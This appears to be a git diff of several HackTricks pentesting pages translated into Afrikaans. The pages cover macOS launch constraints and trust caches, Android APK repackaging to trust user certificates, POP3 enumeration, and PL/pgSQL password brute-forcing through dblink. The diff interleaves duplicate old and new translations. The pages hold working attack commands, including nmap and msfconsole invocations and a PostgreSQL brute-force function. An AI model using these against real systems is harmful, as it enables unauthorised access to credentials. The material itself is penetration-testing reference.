Jy het meer inligting [**hieroor hier**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), maar basies word hulle gedefinieer in **AMFI (AppleMobileFileIntegrity)**, so jy moet die Kernel Development Kit aflaai om die **KEXT** te kry. Die simbole wat begin met **`kConstraintCategory`** is die **interessante** een. Deur hulle te onttrek, sal jy 'n DER (ASN.1) gekodeerde stroom kry wat jy sal moet ontkodeer met [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) of die python-asn1-biblioteek en sy `dump.py` skrip, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) wat jou 'n meer verstaanbare string sal gee.
Jy het meer inligting [**hieroor**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), maar basies, hulle is gedefinieer in **AMFI (AppleMobileFileIntegrity)**, so jy moet die Kernel Development Kit aflaai om die **KEXT** te kry. Die simbole wat met **`kConstraintCategory`** begin, is die **interessante**. As jy hulle onttrek, sal jy 'n DER (ASN.1) geënkodeerde stroom kry wat jy moet dekodeer met [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) of die python-asn1 biblioteek en sy `dump.py` skrip, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) wat jou 'n meer verstaanbare string sal gee.
## Omgewingsbeperkings
## Omgewing Beperkings
Dit is die ingestelde Lanceerbeperkings wat gekonfigureer is in **derdepartytoepassings**. Die ontwikkelaar kan die **feite** en **logiese operandi** kies om die toegang tot die toepassing te beperk.
Dit is die Launch Beperkings wat in **derdeparty toepassings** gekonfigureer is. Die ontwikkelaar kan die **feite** en **logiese operateurs wat gebruik moet word** in sy toepassing kies om toegang tot homself te beperk.
Dit is moontlik om die Omgewingsbeperkings van 'n toepassing op te som met:
Dit is moontlik om die Omgewing Beperkings van 'n toepassing te enumerate met:
```bash
codesign -d -vvvv app.app
```
## Vertrouenskas
## Vertroue Caches
In **macOS** is daar 'n paar vertrouenskassies:
In **macOS** is daar 'n paar vertroue caches:
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
En in iOS lyk dit asof dit in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** is.
En in iOS lyk dit of dit in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** is.
{% hint style="warning" %}
Op macOS wat op Apple Silicon-toestelle loop, sal AMFI weier om 'n Apple-ondertekende binêre lêer te laai as dit nie in die vertrouenskas is nie.
Op macOS wat op Apple Silicon toestelle loop, as 'n Apple-onderteken binaire nie in die vertroue cache is nie, sal AMFI weier om dit te laai.
{% endhint %}
### Enumerating Trust Caches
### Opname van Vertroue Caches
Die vorige vertrouenskas-lêers is in die **IMG4** en **IM4P** formaat, waar IM4P die payload-seksie van 'n IMG4-formaat is.
Die vorige vertroue cache lêers is in formaat **IMG4** en **IM4P**, met IM4P die payload gedeelte van 'n IMG4 formaat.
Jy kan [**pyimg4**](https://github.com/m1stadev/PyIMG4) gebruik om die payload van databasisse te onttrek:
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
('n Ander opsie kan wees om die instrument [**img4tool**](https://github.com/tihmstar/img4tool) te gebruik, wat selfs in M1 sal loop, selfs as die vrystelling oud is en vir x86\_64 as jy dit in die regte plekke installeer).
(n Ander opsie kan wees om die hulpmiddel [**img4tool**](https://github.com/tihmstar/img4tool) te gebruik, wat selfs op M1 sal werk, selfs al is die weergawe oud, en vir x86\_64 as jy dit in die regte plekke installeer).
Nou kan jy die instrument [**trustcache**](https://github.com/CRKatri/trustcache) gebruik om die inligting in 'n leesbare formaat te kry:
Nou kan jy die hulpmiddel [**trustcache**](https://github.com/CRKatri/trustcache) gebruik om die inligting in 'n leesbare formaat te kry:
```bash
# Install
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
@ -140,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
Die vertrouenskas volg die volgende struktuur, so die **LC-kategorie is die 4de kolom**.
Die vertrou cache volg die volgende struktuur, so Die **LC kategorie is die 4de kolom**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -150,31 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Dan kan jy 'n skrip soos [**hierdie een**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) gebruik om data te onttrek.
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
Vanuit daardie data kan jy die programme met 'n **lanceringsbeperkingswaarde van `0`** nagaan, wat diegene is wat nie beperk word nie ([**kyk hier**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) vir wat elke waarde beteken).
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
## Aanvalsvermindering
## Aanval Mitigasies
Lanceringsbeperkings sou verskeie ou aanvalle verminder deur **te verseker dat die proses nie in onverwagte toestande uitgevoer word nie:** Byvoorbeeld vanuit onverwagte plekke of deur 'n onverwagte ouerproses aangeroep te word (as slegs launchd dit moet lanceer)
Launch Constrains sou verskeie ou aanvalle gemitigeer het deur **te verseker dat die proses nie in onverwagte toestande uitgevoer sal word:** Byvoorbeeld vanaf onverwagte plekke of deur 'n onverwagte ouer proses aangeroep word (as slegs launchd dit moet begin).
Verder verminder Lanceringsbeperkings ook **afwaartse aanvalle**.
Boonop **mitigeer Launch Constraints ook afgraderingsaanvalle.**
Dit verminder egter nie algemene XPC-misbruik, **Electron** kode-inspuitings of **dylib-inspuitings** sonder biblioteekvalidering (tensy die span-ID's wat biblioteke kan laai, bekend is).
Egter, hulle **mitigeer nie algemene XPC** misbruik nie, **Electron** kode-inspuitings of **dylib inspuitings** sonder biblioteekvalidasie (tenzij die span-ID's wat biblioteke kan laai bekend is).
### XPC Daemon-beskerming
### XPC Daemon Beskerming
In die Sonoma vrystelling is 'n noemenswaardige punt die **verantwoordelikheidskonfigurasie** van die daemon XPC-diens. Die XPC-diens is self verantwoordelik, in teenstelling met die verbindende kliënt wat verantwoordelik is. Dit word gedokumenteer in die terugvoer verslag FB13206884. Hierdie opstelling mag gebrekkig lyk, omdat dit sekere interaksies met die XPC-diens toelaat:
In die Sonoma vrystelling, is 'n noemenswaardige punt die daemon XPC diens se **verantwoordelikheid konfigurasie**. Die XPC diens is verantwoordelik vir homself, in teenstelling met die verbindende kliënt wat verantwoordelik is. Dit is gedokumenteer in die terugvoer verslag FB13206884. Hierdie opstelling mag gebrekkig voorkom, aangesien dit sekere interaksies met die XPC diens toelaat:
- **Lancerings van die XPC-diens**: As dit as 'n fout beskou word, laat hierdie opstelling nie toe dat die XPC-diens deur aanvallerkode geïnisieer word nie.
- **Verbinding met 'n aktiewe diens**: As die XPC-diens reeds loop (moontlik geaktiveer deur sy oorspronklike toepassing), is daar geen hindernisse om daarmee te verbind nie.
- **Die XPC Diens Begin**: As dit as 'n fout beskou word, laat hierdie opstelling nie toe om die XPC diens deur aanvallerskode te begin nie.
- **Verbinding met 'n Aktiewe Diens**: As die XPC diens reeds loop (miskien geaktiveer deur sy oorspronklike toepassing), is daar geen hindernisse om met dit te verbind nie.
Hoewel dit voordelig kan wees om beperkings op die XPC-diens te implementeer deur **die venster vir potensiële aanvalle te versmal**, spreek dit nie die primêre bekommernis aan nie. Om die veiligheid van die XPC-diens te verseker, moet die verbindende kliënt doeltreffend **gevalideer word**. Dit bly die enigste metode om die diens se veiligheid te versterk. Dit is ook die moeite werd om op te let dat die genoemde verantwoordelikheidskonfigurasie tans operasioneel is, wat nie noodwendig ooreenstem met die bedoelde ontwerp nie.
Terwyl die implementering van beperkings op die XPC diens voordelig kan wees deur **die venster vir potensiële aanvalle te vernou**, adres dit nie die primêre bekommernis nie. Om die sekuriteit van die XPC diens te verseker, vereis fundamenteel **dat die verbindende kliënt effektief geverifieer word**. Dit bly die enigste metode om die diens se sekuriteit te versterk. Ook, dit is die moeite werd om te noem dat die genoemde verantwoordelikheid konfigurasie tans operasioneel is, wat dalk nie ooreenstem met die beoogde ontwerp nie.
### Electron Beskerming
### Electron-beskerming
Selfs al is dit nodig dat die toepassing deur LaunchService **geopen moet word** (in die ouers se beperkings). Dit kan bereik word deur **`open`** te gebruik (wat omgewingsveranderlikes kan instel) of deur die **Launch Services API** te gebruik (waar omgewingsveranderlikes aangedui kan word).
Selfs al is dit vereis dat die toepassing **deur LaunchService** geopen moet word (in die ouer beperkings). Dit kan bereik word deur **`open`** (wat omgewingsveranderlikes kan stel) of deur die **Launch Services API** (waar omgewingsveranderlikes aangedui kan word).
## Verwysings
@ -183,16 +183,17 @@ Selfs al is dit nodig dat die toepassing deur LaunchService **geopen moet word**
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -33,7 +33,7 @@ Eerstens dekompileer ons die app: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Dan gaan ons in die **Manifest.xml** lêer & blaai af na die `<\application android>` etiket & ons gaan die volgende lyn byvoeg as dit nie reeds daar is nie:
Dan gaan ons in die **Manifest.xml** lêer & blaai af na die `<\application android>` etiket & ons gaan die volgende lyn byvoeg as dit nie daar is nie:
`android:networkSecurityConfig="@xml/network_security_config`
@ -58,28 +58,23 @@ Gaan nou in die **res/xml** vouer & skep/wysig 'n lêer genaamd network\_securit
</base-config>
</network-security-config>
```
Then save the file & back out of all the directories & rebuild the apk with the following command: `apktool b *folder-name/* -o *output-file.apk*`
Dan stoor die lêer en gaan uit al die gidse en herbou die apk met die volgende opdrag: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Finally, you need just to **sign the new application**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te teken](smali-changes.md#sing-the-new-apk).
Laastens, jy moet net die **nuwe aansoek teken**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te teken](smali-changes.md#sing-the-new-apk).
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
**Try Hard Security Group**
<summary>Ondersteun HackTricks</summary>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -47,7 +47,7 @@ Jy kan die opdrag `CAPA` gebruik om die vermoëns van die POP3 bediener te verkr
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data (Windows weergawes) teruggee.
Die `pop3-ntlm-info` plugin sal 'n paar "**sensitiewe**" data teruggee (Windows weergawes).
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
@ -94,15 +94,15 @@ password: PA$$W0RD!Z
```
## Gevaarlike Instellings
From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
Van [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Instelling** | **Beskrywing** |
| ---------------------------- | --------------------------------------------------------------------------------------- |
| `auth_debug` | Aktiveer alle outentikasie foutopsporing logboek. |
| `auth_debug_passwords` | Hierdie instelling pas die logboek se verbositeit aan, die ingediende wagwoorde, en die skema word gelog. |
| `auth_verbose` | Log ongeslaagde outentikasiepogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir outentikasie gebruik word, word gelog en kan ook afgekort word. |
| `auth_anonymous_username` | Dit spesifiseer die gebruikersnaam wat gebruik moet word wanneer daar met die ANONYMOUS SASL-meganisme aangemeld word. |
| **Instelling** | **Beskrywing** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Aktiveer alle outentikasie foutopsporing logboek. |
| `auth_debug_passwords` | Hierdie instelling pas die log verbositeit aan, die ingediende wagwoorde, en die skema word gelog. |
| `auth_verbose` | Log onsuksesvolle outentikasie pogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir outentikasie gebruik word, word gelog en kan ook afgekort word. |
| `auth_anonymous_username` | Dit spesifiseer die gebruikersnaam wat gebruik moet word wanneer daar met die ANONYMOUS SASL-meganisme aangemeld word. |
**Try Hard Security Group**
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **kubersekuriteitsmaatskappy**? Wil jy jou **maatskappy in HackTricks geadverteer sien**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks in PDF aflaai**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Cypher-injeksie (neo4j)
# Cypher Injection (neo4j)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Kyk na die volgende blogs:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# PL/pgSQL Wagwoord Bruteforce
# PL/pgSQL Wachtwoord Bruteforce
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Vind [meer inligting oor hierdie aanval in die oorspronklike dokument](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL is 'n **volledig uitgeruste programmeringstaal** wat verder gaan as die vermoëns van SQL deur **verbeterde prosedurele beheer** aan te bied. Dit sluit die gebruik van lusse en verskeie beheerstrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-opdragte en triggerversoeke aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.
PL/pgSQL is 'n **volledig funksionele programmeertaal** wat verder gaan as die vermoëns van SQL deur **verbeterde prosedurele beheer** aan te bied. Dit sluit die gebruik van lusse en verskeie beheersstrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-verklarings en triggers aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se geloofsbriewe met geweld te probeer, maar dit moet op die databasis bestaan. Jy kan dit se bestaan verifieer deur die volgende te gebruik:
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force, maar dit moet op die databasis bestaan. Jy kan die bestaan daarvan verifieer met:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
Standaard is die **skep van funksies 'n voorreg wat aan PUBLIEK toegeken word**, waar PUBLIEK verwys na elke gebruiker op daardie databasisstelsel. Om dit te voorkom, kon die administrateur die USAGE-voorreg van die PUBLIEKE domein herroep het:
By default, **om funksies te skep is 'n voorreg wat aan PUBLIC toegeken word**, waar PUBLIC na elke gebruiker op daardie databasisstelsel verwys. Om dit te voorkom, kon die administrateur die USAGE voorreg uit die PUBLIC domein herroep het:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
In daardie geval sal ons vorige navraag verskillende resultate lewer:
In daardie geval sou ons vorige navraag verskillende resultate lewer:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Let daarop dat vir die volgende skripsie om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met&#x20;
Let daarop dat vir die volgende skrip om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met&#x20;
```sql
CREATE EXTENSION dblink;
```
## Wagtwoord Brute Force
## Wagwoord Brute Force
Hier is hoe jy 'n 4 karakter wagtwoord brute force kan uitvoer:
Hier is hoe jy 'n 4 karakters wagwoord bruteforce kan uitvoer:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Merk op dat selfs die kragtige kragtiging van 4 karakters verskeie minute kan neem._
